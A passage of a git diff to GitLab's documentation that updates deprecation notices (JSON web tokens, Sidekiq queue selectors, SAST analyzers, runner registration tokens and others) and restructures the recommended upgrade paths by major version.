LS templates | License data from LS job is used | License data from LS job is used | License data from DS job is used | +| DS template is included but LS template is not | No license data | License data from DS job is used | License data from DS job is used | +| LS template is included but DS template is not | License data from LS job is used | License data from LS job is used | No license data | + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### License-Check and the Policies tab on the License Compliance page + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +The [License-Check feature](https://docs.gitlab.com/ee/user/compliance/license_check_rules.html) is now deprecated and is scheduled for removal in GitLab 16.0. Additionally, the Policies tab on the License Compliance page and all APIs related to the License-Check feature are deprecated and planned for removal in GitLab 16.0. Users who wish to continue to enforce approvals based on detected licenses are encouraged to create a new [License Approval policy](https://docs.gitlab.com/ee/user/compliance/license_approval_policies.html) instead. + +</div> + +<div class="deprecation removal-170 breaking-change"> + +### Load Performance Testing is deprecated + +Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +Due to low customer usage, Load Performance Testing is deprecated and will be removed. There is no planned replacement and users should stop using Load Performance Testing before GitLab 17.0. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Old versions of JSON web tokens are deprecated + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +Now that we have released [ID tokens](https://docs.gitlab.com/ee/ci/secrets/id_token_authentication.html) +with OIDC support, the old JSON web tokens are deprecated and will be removed. +Both the `CI_JOB_JWT` and `CI_JOB_JWT_V2` tokens, exposed to jobs as predefined variables, +will no longer be available in GitLab 16.0. + +To prepare for this change, you should: + +- Configure your pipelines to use the fully configurable and more secure + [`id_token`](https://docs.gitlab.com/ee/ci/yaml/index.html#id_tokens) keyword instead. +- [Enable the **Limit JSON Web Token (JWT) access**](https://docs.gitlab.com/ee/ci/secrets/id_token_authentication.html#enable-automatic-id-token-authentication) + setting, which prevents the old tokens from being exposed to any jobs. This setting + will be permanently enabled for all projects in GitLab 16.0. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Option to delete projects immediately is deprecated from deletion protection settings + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +The project deletion protection setting in the Admin Area had an option to delete projects immediately. Starting with 16.0, this option will no longer be available, and delayed project deletion will become the default behavior. + +The option will no longer appear as a group setting. Self-managed users will still have the option to define the deletion delay period, and SaaS users have a non-adjustable default retention period of 7 days. Users can still delete the project immediately from the project settings. + +The option to delete projects immediately by default was deprecated to prevent users from accidentally taking this action and permanently losing projects. + +</div> + +<div class="deprecation removal-170 breaking-change"> + +### Queue selector for running Sidekiq is deprecated + +End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br /> +Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +Running Sidekiq with a [queue selector](https://docs.gitlab.com/ee/administration/sidekiq/processing_specific_job_classes.html#queue-selectors) (having multiple processes listening to a set of queues) and [negate settings](https://docs.gitlab.com/ee/administration/sidekiq/processing_specific_job_classes.html#negate-settings) is deprecated and will be fully removed in 17.0. + +You can migrate away from queue selectors to [listening to all queues in all processes](https://docs.gitlab.com/ee/administration/sidekiq/extra_sidekiq_processes.html#start-multiple-processes). For example, if Sidekiq is currently running with 4 processes (denoted by 4 elements in `sidekiq['queue_groups']` in `/etc/gitlab/gitlab.rb`) with queue selector (`sidekiq['queue_selector'] = true`), you can change Sidekiq to listen to all queues in all 4 processes,for example `sidekiq['queue_groups'] = ['*'] * 4`. This approach is also recommended in our [Reference Architecture](https://docs.gitlab.com/ee/administration/reference_architectures/5k_users.html#configure-sidekiq). Note that Sidekiq can effectively run as many processes as the number of CPUs in the machine. + +While the above approach is recommended for most instances, Sidekiq can also be run using [routing rules](https://docs.gitlab.com/ee/administration/sidekiq/processing_specific_job_classes.html#routing-rules) which is also being used on GitLab.com. You can follow the [migration guide from queue selectors to routing rules](https://docs.gitlab.com/ee/administration/sidekiq/processing_specific_job_classes.html#migrating-from-queue-selectors-to-routing-rules). You need to take care with the migration to avoid losing jobs entirely. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Remove offset pagination from Jobs API + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +A request to the API for `/api/v4/projects/:id/jobs` can return a paginated list of jobs. Projects can contain hundreds or thousands of jobs, so using an offset to paginate through them is slow. Users should instead use [`keyset-based pagination`](https://docs.gitlab.com/ee/api/rest/index.html#keyset-based-pagination) when requesting consecutive pages of results. + +In milestone 16.0 we will remove offset-based pagination. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Required Pipeline Configuration is deprecated + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +Required Pipeline Configuration will be removed in the 16.0 release. This impacts self-managed users on the Ultimate license. + +We recommend replacing this with an alternative [compliance solution](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html#compliance-pipelines) +that is available now. We recommend this alternative solution because it provides greater flexibility, allowing required pipelines to be assigned to specific compliance framework labels. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### SAST analyzer coverage changing in GitLab 16.0 + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +GitLab SAST uses various [analyzers](https://docs.gitlab.com/ee/user/application_security/sast/analyzers/) to scan code for vulnerabilities. + +We're reducing the number of supported analyzers used by default in GitLab SAST. +This is part of our long-term strategy to deliver a faster, more consistent user experience across different programming languages. + +Starting in GitLab 16.0, the GitLab SAST CI/CD template will no longer use the following analyzers, and they will enter End of Support status: + +- [Security Code Scan](https://gitlab.com/gitlab-org/security-products/analyzers/security-code-scan) (.NET) +- [PHPCS Security Audit](https://gitlab.com/gitlab-org/security-products/analyzers/phpcs-security-audit) (PHP) + +We'll remove these analyzers from the [SAST CI/CD template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml) and replace them with GitLab-supported detection rules and the [Semgrep-based analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep). +Effective immediately, these analyzers will receive only security updates; other routine improvements or updates are not guaranteed. +After these analyzers reach End of Support, no further updates will be provided. +However, we won't delete container images previously published for these analyzers or remove the ability to run them by using a custom CI/CD pipeline job. + +We will also remove Scala from the scope of the [SpotBugs-based analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/spotbugs) and replace it with the [Semgrep-based analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep). +This change will make it simpler to scan Scala code; compilation will no longer be required. +This change will be reflected in the automatic language detection portion of the [GitLab-managed SAST CI/CD template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/SAST.gitlab-ci.yml). +Note that the SpotBugs-based analyzer will continue to cover Groovy and Kotlin. + +If you've already dismissed a vulnerability finding from one of the deprecated analyzers, the replacement attempts to respect your previous dismissal. The system behavior depends on: + +- whether you've excluded the Semgrep-based analyzer from running in the past. +- which analyzer first discovered the vulnerabilities shown in the project's Vulnerability Report. + +See [Vulnerability translation documentation](https://docs.gitlab.com/ee/user/application_security/sast/analyzers.html#vulnerability-translation) for further details. + +If you applied customizations to any of the affected analyzers or if you currently disable the Semgrep analyzer in your pipelines, you must take action as detailed in the [deprecation issue for this change](https://gitlab.com/gitlab-org/gitlab/-/issues/390416#breaking-change). + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Secure analyzers major version update + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +The Secure stage will be bumping the major versions of its analyzers in tandem with the GitLab 16.0 release. This bump will enable a clear delineation for analyzers, between: + +- Those released prior to May 22, 2023 +- Those released after May 22, 2023 + +If you are not using the default included templates, or have pinned your analyzer versions you will need to update your CI/CD job definition to either remove the pinned version or to update the latest major version. +Users of GitLab 13.0-15.10 will continue to experience analyzer updates as normal until the release of GitLab 16.0, following which all newly fixed bugs and released features will be released only in the new major version of the analyzers. We do not backport bugs and features to deprecated versions as per our [maintenance policy](https://docs.gitlab.com/ee/policy/maintenance.html). As required, security patches will be backported within the latest 3 minor releases. +Specifically, the following are being deprecated and will no longer be updated after 16.0 GitLab release: + +- API Fuzzing: version 2 +- Container Scanning: version 5 +- Coverage-guided fuzz testing: version 3 +- Dependency Scanning: version 3 +- Dynamic Application Security Testing (DAST): version 3 +- DAST API: version 2 +- IaC Scanning: version 3 +- License Scanning: version 4 +- Secret Detection: version 4 +- Static Application Security Testing (SAST): version 3 of [all analyzers](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks) + - `brakeman`: version 3 + - `flawfinder`: version 3 + - `kubesec`: version 3 + - `mobsf`: version 3 + - `nodejs-scan`: version 3 + - `phpcs-security-audit`: version 3 + - `pmd-apex`: version 3 + - `security-code-scan`: version 3 + - `semgrep`: version 3 + - `sobelow`: version 3 + - `spotbugs`: version 3 + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Secure scanning CI/CD templates will use new job `rules` + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +GitLab-managed CI/CD templates for security scanning will be updated in the GitLab 16.0 release. +The updates will include improvements already released in the Latest versions of the CI/CD templates. +We released these changes in the Latest template versions because they have the potential to disrupt customized CI/CD pipeline configurations. + +In all updated templates, we're: + +- Adding support for running scans in merge request (MR) pipelines. +- Updating the definition of variables like `SAST_DISABLED` and `DEPENDENCY_SCANNING_DISABLED` to disable scanning only if the value is `"true"`. Previously, even if the value were `"false"`, scanning would be disabled. + +The following templates will be updated: + +- API Fuzzing: [`API-Fuzzing.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml) +- Container Scanning: [`Container-Scanning.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Container-Scanning.gitlab-ci.yml) +- Coverage-Guided Fuzzing: [`Coverage-Fuzzing.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/Coverage-Fuzzing.gitlab-ci.yml) +- DAST: [`DAST.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/DAST.gitlab-ci.yml) +- DAST API: [`DAST-API.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/DAST-API.gitlab-ci.yml) +- Dependency Scanning: [`Dependency-Scanning.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Dependency-Scanning.gitlab-ci.yml) +- IaC Scanning: [`SAST-IaC.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/SAST-IaC.gitlab-ci.yml) +- SAST: [`SAST.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml) +- Secret Detection: [`Secret-Detection.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Secret-Detction.gitlab-ci.yml) + +We recommend that you test your pipelines before the 16.0 release if you use one of the templates listed above and you do any of the following: + + 1. You override `rules` for your security scanning jobs. + 1. You use the `_DISABLED` variables but set a value other than `"true"`. + +</div> + +<div class="deprecation removal-170 breaking-change"> + +### Single database connection is deprecated + +Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +Previously, [GitLab's database](https://docs.gitlab.com/omnibus/settings/database.html) +configuration had a single `main:` section. This is being deprecated. The new +configuration has both a `main:` and a `ci:` section. + +This deprecation affects users compiling GitLab from source, who will need +to [add the `ci:` section](https://docs.gitlab.com/ee/install/installation.html#configure-gitlab-db-settings). +Omnibus, the Helm chart, and Operator will handle this configuration +automatically from GitLab 16.0 onwards. + +</div> + +<div class="deprecation removal-170 breaking-change"> + +### Slack notifications integration + +End of Support: GitLab <span class="removal-milestone">17.0</span> <span class="support-end-date"></span><br /> +Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +As we're consolidating all Slack capabilities into the +GitLab for Slack app, we're [deprecating the Slack notifications +integration](https://gitlab.com/gitlab-org/gitlab/-/issues/372411). +GitLab.com users can now use the GitLab for Slack app to manage notifications +to their Slack workspace. For self-managed users of the Slack notifications integration, +we'll be introducing support in [this epic](https://gitlab.com/groups/gitlab-org/-/epics/1211). + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Support for Praefect custom metrics endpoint configuration + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +Support for using the `prometheus_exclude_database_from_default_metrics` configuration value is deprecated in GitLab +15.9 and will be removed in GitLab 16.0. We are removing this configuration value because using it is non-performant. +This change means the following metrics will become unavailable on `/metrics`: + +- `gitaly_praefect_unavailable_repositories`. +- `gitaly_praefect_verification_queue_depth`. +- `gitaly_praefect_replication_queue_depth`. + +This may require updating your metrics collection targets to also scrape `/db_metrics`. + +</div> + +<div class="deprecation removal-170 breaking-change"> + +### The GitLab legacy requirement IID is deprecated in favor of work item IID + +Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +We will be transitioning to a new IID as a result of moving requirements to a [work item type](https://docs.gitlab.com/ee/development/work_items.html#work-items-and-work-item-types). Users should begin using the new IID as support for the legacy IID and existing formatting will end in GitLab 17.0. The legacy requirement IID remains available until its removal in GitLab 17.0. + +</div> + +<div class="deprecation removal-160 breaking-change"> + +### Trigger jobs can mirror downstream pipeline status exactly + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +In some cases, like when a downstream pipeline had the `passed with warnings` status, trigger jobs that were using [`strategy: depend`](https://docs.gitlab.com/ee/ci/yaml/index.html#strategydepend) did not mirror the status of the downstream pipeline exactly. In GitLab 16.0 trigger jobs will show the exact same status as the the downstream pipeline. If your pipeline relied on this behavior, you should update your pipeline to handle the more accurate status. + +</div> +</div> + +<div class="announcement-milestone"> + ## Announced in 15.8 <div class="deprecation removal-160 breaking-change"> @@ -185,6 +770,22 @@ The Container Registry pull-through cache is deprecated in GitLab 15.8 and will <div class="deprecation removal-160 breaking-change"> +### Cookie authorization in the GitLab for Jira Cloud app + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +Cookie authentication in the GitLab for Jira Cloud app is now deprecated in favor of OAuth authentication. +You must [set up OAuth authentication](https://docs.gitlab.com/ee/integration/jira/connect-app.html#set-up-oauth-authentication) +to continue to use the GitLab for Jira Cloud app. Without OAuth, you will not be able to manage linked namespaces. + +</div> + +<div class="deprecation removal-160 breaking-change"> + ### Dependency Scanning support for Java 13, 14, 15, and 16 Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> @@ -423,6 +1024,22 @@ Moving forward, we'll continue to invest in developing and releasing new feature <div class="deprecation removal-160 breaking-change"> +### Test system hook endpoint + +End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br /> +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +The [test system hook](https://docs.gitlab.com/ee/api/system_hooks.html#test-system-hook) endpoint returns dummy data. +This endpoint is now deprecated and will be removed from the GitLab codebase. + +</div> + +<div class="deprecation removal-160 breaking-change"> + ### The API no longer returns revoked tokens for the agent for Kubernetes Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> @@ -628,19 +1245,19 @@ The endpoint to get [changes from a single merge request](https://docs.gitlab.co </div> -<div class="deprecation removal-160 breaking-change"> +<div class="deprecation removal-170 breaking-change"> ### Support for REST API endpoints that reset runner registration tokens -End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br /> -Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> +End of Support: GitLab <span class="removal-milestone">16.6</span> <span class="support-end-date"></span><br /> +Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). Review the details carefully before upgrading. The support for runner registration tokens is deprecated. As a consequence, the REST API endpoints to reset a registration token are also deprecated and will -be removed in GitLab 16.0. +be removed in GitLab 17.0. The deprecated endpoints are: - `POST /runners/reset_registration_token` @@ -651,7 +1268,7 @@ In GitLab 15.8, we plan to implement a new method to bind runners to a GitLab in as part of the new [GitLab Runner token architecture](https://docs.gitlab.com/ee/architecture/blueprints/runner_tokens/). This new architecture introduces a new method for registering runners and will eliminate the legacy [runner registration token](https://docs.gitlab.com/ee/security/token_overview.html#runner-registration-tokens). -From GitLab 16.0 and later, the runner registration methods implemented by the new GitLab Runner token architecture will be the only supported methods. +From GitLab 17.0 and later, the runner registration methods implemented by the new GitLab Runner token architecture will be the only supported methods. </div> @@ -694,12 +1311,12 @@ The [Phabricator task importer](https://docs.gitlab.com/ee/user/project/import/p </div> -<div class="deprecation removal-160 breaking-change"> +<div class="deprecation removal-170 breaking-change"> ### The `gitlab-runner exec` command is deprecated -End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br /> -Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> +End of Support: GitLab <span class="removal-milestone">17.0</span> <span class="support-end-date"></span><br /> +Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -735,7 +1352,7 @@ WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). Review the details carefully before upgrading. -The `POST ci/lint` API endpoint is deprecated in 15.7, and will be removed in 16.0. This endpoint does not validate the full range of CI/CD configuration options. Instead, use [`POST /projects/:id/ci/lint`](https://docs.gitlab.com/15.5/ee/api/lint.html#validate-a-ci-yaml-configuration-with-a-namespace), which properly validates CI/CD configuration. +The `POST ci/lint` API endpoint is deprecated in 15.7, and will be removed in 16.0. This endpoint does not validate the full range of CI/CD configuration options. Instead, use [`POST /projects/:id/ci/lint`](https://docs.gitlab.com/ee/api/lint.html#validate-a-ci-yaml-configuration-with-a-namespace), which properly validates CI/CD configuration. </div> </div> @@ -763,7 +1380,7 @@ From GitLab 13.6, users can [specify any runner configuration in the GitLab Runn ### GitLab Runner registration token in Runner Operator -End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br /> +End of Support: GitLab <span class="removal-milestone">16.6</span> <span class="support-end-date"></span><br /> Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span> WARNING: @@ -778,7 +1395,7 @@ The [`runner-registration-token`](https://docs.gitlab.com/runner/install/operato ### Registration tokens and server-side runner arguments in `POST /api/v4/runners` endpoint -End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br /> +End of Support: GitLab <span class="removal-milestone">16.6</span> <span class="support-end-date"></span><br /> Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span> WARNING: @@ -790,7 +1407,7 @@ This endpoint [registers](https://docs.gitlab.com/ee/api/runners.html#register-a with a GitLab instance at the instance, group, or project level through the API. We plan to remove the support for registration tokens and certain configuration arguments in this endpoint in GitLab 17.0. -In GitLab 15.8, we plan to implement a new method to bind runners to a GitLab instance, +In GitLab 15.10, we plan to implement a new method to bind runners to a GitLab instance, as part of the new [GitLab Runner token architecture](https://docs.gitlab.com/ee/architecture/blueprints/runner_tokens/). This new architecture introduces a new method for registering runners and will eliminate the legacy [runner registration token](https://docs.gitlab.com/ee/security/token_overview.html#runner-registration-tokens). @@ -802,7 +1419,7 @@ From GitLab 17.0 and later, the runner registration methods implemented by the n ### Registration tokens and server-side runner arguments in `gitlab-runner register` command -End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br /> +End of Support: GitLab <span class="removal-milestone">16.6</span> <span class="support-end-date"></span><br /> Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span> WARNING: @@ -810,7 +1427,7 @@ This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_g Review the details carefully before upgrading. The support for registration tokens and certain configuration arguments in the command to [register](https://docs.gitlab.com/runner/register/) a runner, `gitlab-runner register` is deprecated. -GitLab plans to introduce a new [GitLab Runner token architecture](https://docs.gitlab.com/ee/architecture/blueprints/runner_tokens/) in GitLab 15.8, +GitLab plans to introduce a new [GitLab Runner token architecture](https://docs.gitlab.com/ee/architecture/blueprints/runner_tokens/) in GitLab 15.10, which introduces a new method for registering runners and eliminates the legacy [runner registration token](https://docs.gitlab.com/ee/security/token_overview.html#runner-registration-tokens). The new method will involve creating the runner in the GitLab UI and passing the @@ -823,7 +1440,7 @@ to the `gitlab-runner register` command. ### `runnerRegistrationToken` parameter for GitLab Runner Helm Chart -End of Support: GitLab <span class="removal-milestone">16.0</span> <span class="support-end-date"></span><br /> +End of Support: GitLab <span class="removal-milestone">16.6</span> <span class="support-end-date"></span><br /> Planned removal: GitLab <span class="removal-milestone">17.0</span> <span class="removal-date"></span> WARNING: @@ -836,6 +1453,7 @@ As part of the new [GitLab Runner token architecture](https://docs.gitlab.com/ee - A new method to bind runners to a GitLab instance leveraging `runnerToken`. - A unique system ID saved to the `config.toml`, which will ensure traceability between jobs and runners. + From GitLab 17.0 and later, the methods to register runners introduced by the new GitLab Runner token architecture will be the only supported methods. </div> @@ -1146,8 +1764,8 @@ WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). Review the details carefully before upgrading. -The [Jira DVCS Connector](https://docs.gitlab.com/ee/integration/jira/dvcs.html) (which enables the [Jira Development Panel](https://support.atlassian.com/jira-software-cloud/docs/view-development-information-for-an-issue/)), will no longer support Jira Cloud users starting with GitLab 16.0. The [GitLab for Jira App](https://docs.gitlab.com/ee/integration/jira/connect-app.html) has always been recommended for Jira Cloud users, and it will be required instead of the DVCS connector. If you are a Jira Cloud user, we recommended you begin migrating to the GitLab for Jira App. -Any Jira Server and Jira Data Center users will need to confirm they are not using the GitHub Enterprise Connector to enable the GitLab DVCS integration, but they may continue to use the [native GitLab DVCS integration](https://docs.gitlab.com/ee/integration/jira/dvcs.html) (supported in Jira 8.14 and later). +The [Jira DVCS Connector](https://docs.gitlab.com/ee/integration/jira/dvcs/) (which enables the [Jira Development Panel](https://support.atlassian.com/jira-software-cloud/docs/view-development-information-for-an-issue/)), will no longer support Jira Cloud users starting with GitLab 16.0. The [GitLab for Jira App](https://docs.gitlab.com/ee/integration/jira/connect-app.html) has always been recommended for Jira Cloud users, and it will be required instead of the DVCS connector. If you are a Jira Cloud user, we recommended you begin migrating to the GitLab for Jira App. +Any Jira Server and Jira Data Center users will need to confirm they are not using the GitHub Enterprise Connector to enable the GitLab DVCS integration, but they may continue to use the [native GitLab DVCS integration](https://docs.gitlab.com/ee/integration/jira/dvcs/) (supported in Jira 8.14 and later). </div> @@ -1606,11 +2224,11 @@ The feature flag `PUSH_RULES_SUPERSEDE_CODE_OWNERS` is being removed in GitLab 1 </div> -<div class="deprecation removal-150 breaking-change"> +<div class="deprecation removal-160 breaking-change"> ### Deprecate legacy Gitaly configuration methods -Planned removal: GitLab <span class="removal-milestone">15.0</span> <span class="removal-date"></span> +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> WARNING: This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). @@ -2994,6 +3612,22 @@ This will result in the rename of the sub-chart: `gitlab/task-runner` to `gitlab ## Announced in 14.0 +<div class="deprecation removal-160 breaking-change"> + +### Changing merge request approvals with the `/approvals` API endpoint + +Planned removal: GitLab <span class="removal-milestone">16.0</span> <span class="removal-date"></span> + +WARNING: +This is a [breaking change](https://docs.gitlab.com/ee/development/deprecation_guidelines/). +Review the details carefully before upgrading. + +To change the approvals required for a merge request, you should no longer use the `/approvals` API endpoint, which was deprecated in GitLab 14.0. + +Instead, use the [`/approval_rules` endpoint](https://docs.gitlab.com/ee/api/merge_request_approvals.html#merge-request-level-mr-approvals) to [create](https://docs.gitlab.com/ee/api/merge_request_approvals.html#create-merge-request-level-rule) or [update](https://docs.gitlab.com/ee/api/merge_request_approvals.html#update-merge-request-level-rule) the approval rules for a merge request. + +</div> + <div class="deprecation removal-156"> ### NFS for Git repository storage diff --git a/doc/update/index.md b/doc/update/index.md index 5f42ed735af..4c909395f54 100644 --- a/doc/update/index.md +++ b/doc/update/index.md @@ -177,7 +177,6 @@ upgraded to. This is to ensure [compatibility with GitLab versions](https://docs ## Upgrade paths Upgrading across multiple GitLab versions in one go is *only possible by accepting downtime*. -The following examples assume downtime is acceptable while upgrading. If you don't want any downtime, read how to [upgrade with zero downtime](zero_downtime.md). For a dynamic view of examples of supported upgrade paths, try the [Upgrade Path tool](https://gitlab-com.gitlab.io/support/toolbox/upgrade-path/) maintained by the [GitLab Support team](https://about.gitlab.com/handbook/support/#about-the-support-team). To share feedback and help improve the tool, create an issue or MR in the [upgrade-path project](https://gitlab.com/gitlab-com/support/toolbox/upgrade-path). @@ -186,7 +185,14 @@ Find where your version sits in the upgrade path below, and upgrade GitLab accordingly, while also consulting the [version-specific upgrade instructions](#version-specific-upgrading-instructions): -`8.11.Z` -> `8.12.0` -> `8.17.7` -> `9.0.13` -> `9.5.10` -> `10.0.7` -> `10.8.7` -> `11.0.6` -> [`11.11.8`](#1200) -> `12.0.12` -> [`12.1.17`](#1210) -> [`12.10.14`](#12100) -> `13.0.14` -> [`13.1.11`](#1310) -> [`13.8.8`](#1388) -> [`13.12.15`](#13120) -> [`14.0.12`](#1400) -> [`14.3.6`](#1430) -> [`14.9.5`](#1490) -> [`14.10.Z`](#14100) -> [`15.0.Z`](#1500) -> [`15.1.Z`](#1510) (for GitLab instances with multiple web nodes) -> [`15.4.0`](#1540) -> [latest `15.Y.Z`](https://gitlab.com/gitlab-org/gitlab/-/releases) +- GitLab 8: `8.11.Z` > `8.12.0` > `8.17.7` +- GitLab 9: `9.0.13` > `9.5.10` +- GitLab 10: `10.0.7` > `10.8.7` +- GitLab 11: `11.0.6` > [`11.11.8`](#1200) +- GitLab 12: `12.0.12` > [`12.1.17`](#1210) > [`12.10.14`](#12100) +- GitLab 13: `13.0.14` > [`13.1.11`](#1310) > [`13.8.8`](#1388) > [`13.12.15`](#13120) +- GitLab 14: [`14.0.12`](#1400) > [`14.3.6`](#1430) > [`14.9.5`](#1490) > [`14.10.5`](#14100) +- GitLab 15: [`15.0.5`](#1500) > [`15.1.6`](#1510) (for GitLab instances with multiple web nodes) > [`15.4.6`](#1540) > [latest `15.Y.Z`](https://gitlab.com/gitlab-org/gitlab/-/releases) NOTE: When not explicitly specified, upgrade GitLab to the latest available patch @@ -196,23 +202,6 @@ be fixes for issues relating to the upgrade process. Specifically around a [major version](#upgrading-to-a-new-major-version), crucial database schema and migration patches are included in the latest patch releases. -The following table, while not exhaustive, shows some examples of the supported -upgrade paths. -Additional steps between the mentioned versions are possible. We list the minimally necessary steps only. - -| Target version | Your version | Supported upgrade path | Note | -| -------------- | ------------ | ---------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- | -| `15.1.0` | `14.6.2` | `14.6.2` -> `14.9.5` -> `14.10.5` -> `15.0.2` -> `15.1.0` | Three intermediate versions are required: `14.9`, `14.10`, and `15.0`. | -| `15.0.0` | `14.6.2` | `14.6.2` -> `14.9.5` -> `14.10.5` -> `15.0.2` | Two intermediate versions are required: `14.9` and `14.10`. | -| `14.6.2` | `13.10.2` | `13.10.2` -> `13.12.15` -> `14.0.12` -> `14.3.6` => `14.6.2` | Three intermediate versions are required: `13.12`, `14.0`, and `14.3`. | -| `14.1.8` | 